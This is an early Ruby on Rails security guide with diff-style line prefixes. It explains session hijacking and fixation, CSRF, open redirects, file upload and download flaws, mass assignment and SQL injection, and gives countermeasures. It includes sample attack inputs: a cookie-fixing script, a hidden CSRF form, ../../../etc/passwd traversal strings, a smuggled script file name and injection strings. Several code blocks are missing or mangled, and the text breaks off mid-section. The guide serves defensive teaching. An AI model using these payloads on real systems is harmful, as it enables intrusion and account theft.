In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
+
The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
+
The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
+
In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.
+
+
2. Sessions
+
+
A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
+
2.1. What are sessions?
+
— HTTP is a stateless protocol Sessions make it stateful.
+
Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
+
A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
— The session id is a 32 byte long MD5 hash value.
+
A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
+
2.3. Session hijacking
+
— Stealing a user's session id lets an attacker use the web application in the victim's name.
+
Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
+
Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
+
+
+
+Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to provide a secure connection over SSL.
+
+
+
+
+Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a log-out button in the web application, and make it prominent.
+
+
+
+
+Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.
+
+
+
+
+Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+
+
+
+
The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the Symantec Global Internet Security Threat Report.
+
2.4. Session guidelines
+
— Here are some general guidelines on sessions.
+
+
+
+Do not store large objects in a session. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+
+
+
+
+Critical data should not be stored in session. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+
+
+
+
2.5. Session storage
+
— Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.
+
There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
+
Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
+
+
+
+Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. Storing the current user's database id in a session is usually ok.
+
+
+
+
+The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, you don't want to store any secrets here. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+
+
+
+
That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters. Put the secret in your environment.rb:
There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
+
2.6. Replay attacks for CookieStore sessions
+
— Another sort of attack you have to be aware of when using CookieStore is the replay attack.
+
It works like this:
+
+
+
+A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes).
+
+
+
+
+The user buys something.
+
+
+
+
+His new, lower credit will be stored in the session.
+
+
+
+
+The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
+
+
+
+
+The user has his credit back.
+
+
+
+
Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
+
The best solution against it is not to store this kind of data in a session, but in the database. In this case store the credit in the database and the logged_in_user_id in the session.
+
2.7. Session fixation
+
— Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation.
+
+
+
+
+
+
This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
+
+
+
+The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+
+
+
+
+He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+
+
+
+
+Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <script>
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script>
+Read more about XSS and injection later on.
+
+
+
+
+The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+
+
+
+
+As the new trap session is unused, the web application will require the user to authenticate.
+
+
+
+
+From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+
+
+
+
2.8. Session fixation – Countermeasures
+
— One line of code will protect you from session fixation.
+
The most effective countermeasure is to issue a new session identifier and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+
+
+
reset_session
+
+
If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, you have to transfer them to the new session.
+
Another countermeasure is to save user-specific properties in the session, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. These might change over the course of a session, so these users will not be able to use your application, or only in a limited way.
+
2.9. Session expiry
+
— Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.
+
One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to expire sessions in a database table. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.
+
+
+
class Session < ActiveRecord::Base
+ defself.sweep(time_ago =nil)
+
 time =case time_ago
+
 when/^(\d+)m$/then Time.now -$1.to_i.minute
+
 when/^(\d+)h$/then Time.now -$1.to_i.hour
+
 when/^(\d+)d$/then Time.now -$1.to_i.day
+
 else Time.now -1.hour
+
 end
+
 self.delete_all "updated_at < '#{time.to_s(:db)}'"
+
 end
+
end
+
+
The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
+
+
+
self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
+
+
+
3. Cross-Site Reference Forgery (CSRF)
+
+
— This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.
+
+
+
+
+
+
In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
+
+
+
+Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+
+Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+
+
+
+
+By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+
+
+
+
+The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+
+
+
+
+Bob doesn't notice the attack — but a few days later he finds out that project number one is gone.
+
+
+
+
It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
+
CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a sleeping giant [Grossman]. This is in stark contrast to the results in my (and others) security contract work – CSRF is an important security issue.
+
3.1. CSRF Countermeasures
+
— First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.
+
The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
+
Use GET if:
+
+
+
+The interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup).
+
+
+
+
Use POST if:
+
+
+
+The interaction is more like an order, or
+
+
+
+
+The interaction changes the state of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+
+
+
+
+The user is held accountable for the results of the interaction.
+
+
+
+
If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden _method field to handle this barrier.
+
The verify method in a controller can make sure that specific actions may not be used over GET. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.
+
But this was only the first step, because POST requests can be send automatically, too. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
+
+
+
<ahref="http://www.harmless.com/"onclick="
+ var f = document.createElement('form');
+ f.style.display = 'none';
+ this.parentNode.appendChild(f);
+ f.method = 'POST';
+ f.action = 'http://www.example.com/account/destroy';
+ f.submit();
+ return false;">To the harmless survey</a>
+
+
Or the attacker places the code into the onmouseover event handler of an image:
There are many other possibilities, including Ajax to attack the victim in the background.
The solution to this is including a security token in non-GET requests which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.
+
Note that cross-site scripting (XSS) vulnerabilities bypass all CSRF protections. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.
+
+
4. Redirection and Files
+
+
Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
+
4.1. Redirection
+
— Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.
+
Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to include only the expected parameters in a legacy action (again a whitelist approach, as opposed to removing unexpected parameters). And if you redirect to an URL, check it with a whitelist or a regular expression.
+
4.1.1. Self-contained XSS
+
Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, do not allow the user to supply (parts of) the URL to be redirected to.
+
4.2. File uploads
+
— Make sure file uploads don't overwrite important files, and process media files asynchronously.
+
Many web applications allow users to upload files. File names, which the user may choose (partly), should always be filtered as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwdâ€, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+
When filtering user input file names, don't try to remove malicious parts. Think of a situation where the web application removes all “../†in a file name and an attacker uses a string such as “….//†- the result will be “../â€. It is best to use a whitelist approach, which checks for the validity of a file name with a set of accepted characters. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the attachment_fu plugin:
+
+
+
def sanitize_filename(filename)
+ returning filename.strip do|name|
+ # NOTE: File.basename doesn't work right with Windows paths on Unix
+ # get only the filename, not the whole path
+ name.gsub! /^.*(\\|\/)/,''
+ # Finally, replace all non alphanumeric, underscore
+ # or periods with underscore
+ name.gsub! /[^\w\.\-]/,'_'
+ end
+end
+
+
A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its vulnerability to denial-of-service attacks. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+
The solution to this, is best to process media files asynchronously: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+
4.3. Executable code in file uploads
+
— Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory.
+
The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi†with code in it, which will be executed when someone downloads the file.
+
If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it, store files at least one level downwards.
+
4.4. File downloads
+
— Make sure users cannot download arbitrary files.
+
Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
Simply pass a file name like “../../../etc/passwd†to download the server's login information. A simple solution against this, is to check that the requested file is in the expected directory:
Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
+
+
5. Intranet and Admin security
+
+
— Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.
+
In 2007 there was the first tailor-made Trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

+
XSS If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
+
Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+
Refer to the Injection section for countermeasures against XSS. It is recommended to use the SafeErb plugin also in an Intranet or administration interface.
+
CSRF Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+
A real-world example is a router reconfiguration by CSRF. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+
Another example changed Google Adsense's e-mail address and password by CSRF. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
+
For countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section.
+
5.1. Additional precautions
+
The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
+
+
+
+It is very important to think about the worst case: What if someone really got hold of my cookie or user credentials. You could introduce roles for the admin interface to limit the possibilities of the attacker. Or how about special login credentials for the admin interface, other than the ones used for the public part of the application. Or a special password for very serious actions?
+
+
+
+
+Does the admin really have to access the interface from everywhere in the world? Think about limiting the login to a bunch of source IP addresses. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+
+
+
+
+Put the admin interface to a special sub-domain such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+
+
+
+
+
6. Mass assignment
+
+
— Without any precautions Model.new(params[:model]) allows attackers to set any database column's value.
+
The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:
Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
So if you create a new user using mass-assignment, it may be too easy to become an administrator.
+
6.1. Countermeasures
+
To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:
+
+
+
attr_protected :admin
+
+
A much better way, because it follows the whitelist-principle, is the attr_accessible method. It is the exact opposite of attr_protected, because it takes a list of attributes that will be accessible. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
+
+
+
attr_accessible :name
+
+
If you want to set a protected attribute, you will to have to assign it individually:
— Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.
+
There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is restful_authentication which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
+
Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
+
+
+
User.find_by_activation_code(params[:id])
+
+
If the parameter was nil, the resulting SQL query will be
+
+
+
SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1
+
+
And thus it found the first user in the database, returned it and logged him in. You can find out more about it in my blog post. It is advisable to update your plug-ins from time to time. Moreover, you can review your application to find more flaws like this.
+
7.1. Brute-forcing accounts
+
— Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.
+
A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.
+
Because of this, most web applications will display a generic error message “user name or password not correctâ€, if one of these are not correct. If it said “the user name you entered has not been foundâ€, an attacker could automatically compile a list of user names.
+
However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
+
In order to mitigate such attacks, display a generic error message on forgot-password pages, too. Moreover, you can require to enter a CAPTCHA after a number of failed logins from a certain IP address. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+
7.2. Account hijacking
+
— Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?
+
7.2.1. Passwords
+
Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, make change-password forms safe against CSRF, of course. And require the user to enter the old password when changing it.
+
7.2.2. E-Mail
+
However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure require the user to enter the password when changing the e-mail address, too.
+
7.2.3. Other
+
Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in Google Mail. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, review your application logic and eliminate all XSS and CSRF vulnerabilities.
+
7.3. CAPTCHAs
+
— A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.
+
But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is reCAPTCHA which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. ReCAPTCHA is also a Rails plug-in with the same name as the API.
+
You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
+
Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
+
Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
+
+
+
+position the fields off of the visible area of the page
+
+
+
+
+make the elements very small or colour them the same as the background of the page
+
+
+
+
+leave the fields displayed, but tell humans to leave them blank
+
+
+
+
The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
+
You can find more sophisticated negative CAPTCHAs in Ned Batchelder's blog post:
+
+
+
+Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+
+
+
+
+Randomize the field names
+
+
+
+
+Include more than one honeypot field of all types, including submission buttons
+
+
+
+
Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.
+
7.4. Logging
+
— Tell Rails not to put passwords in the log files.
+
By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can filter certain request parameters from your log files by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.
+
+
+
filter_parameter_logging :password
+
+
7.5. Good passwords
+
— Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.
+
Bruce Schneier, a security technologist, has analysed 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
+
A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the first letters of a sentence that you can easily remember. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+
7.6. Regular expressions
+
— A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.
+
Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:
+
+
+
class File < ActiveRecord::Base
+ validates_format_of :name,:with =>/^[\w\.\-\+]+$/
+end
+
+
This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, in Ruby ^ and $ matches the line beginning and line end. And thus a file name like this passes the filter without problems:
+
+
+
file.txt%0A<script>alert('hello')</script>
+
+
Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert(hello)</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
+
+
+
/\A[\w\.\-\+]+\z/
+[source, ruby]
+
+
7.7. Privilege escalation
+
— Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.
+
The most common parameter that a user might tamper with, is the id parameter, as in http://www.domain.com/project/1, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:
+
+
+
@project= Project.find(params[:id])
+
+
This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, query the user's access rights, too:
Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated.
+
Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
+
+
8. Injection
+
+
— Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.
+
Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
+
8.1. Whitelists versus Blacklists
+
— When sanitizing, protecting or verifying something, whitelists over blacklists.
+
A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), prefer to use whitelist approaches:
+
+
+
+Use before_filter :only ⇒ […] instead of :except ⇒ […]. This way you don't forget to turn it off for newly added actions.
+
+
+
+
+Use attr_accessible instead of attr_protected. See the mass-assignment section for details
+
+
+
+
+Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
+
+
+
+
+Don't try to correct user input by blacklists:
+
+
+
+
+This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
+
+
+
+
+But reject malformed input
+
+
+
+
+
+
Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
+
8.2. SQL Injection
+
— Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.
+
8.2.1. Introduction
+
SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters OR 1=1, the resulting SQL query will be:
+
+
+
SELECT * FROM projects WHERE name = '' OR 1 --'
+
+
The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
+
8.2.2. Bypassing authorization
+
Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+
+
+
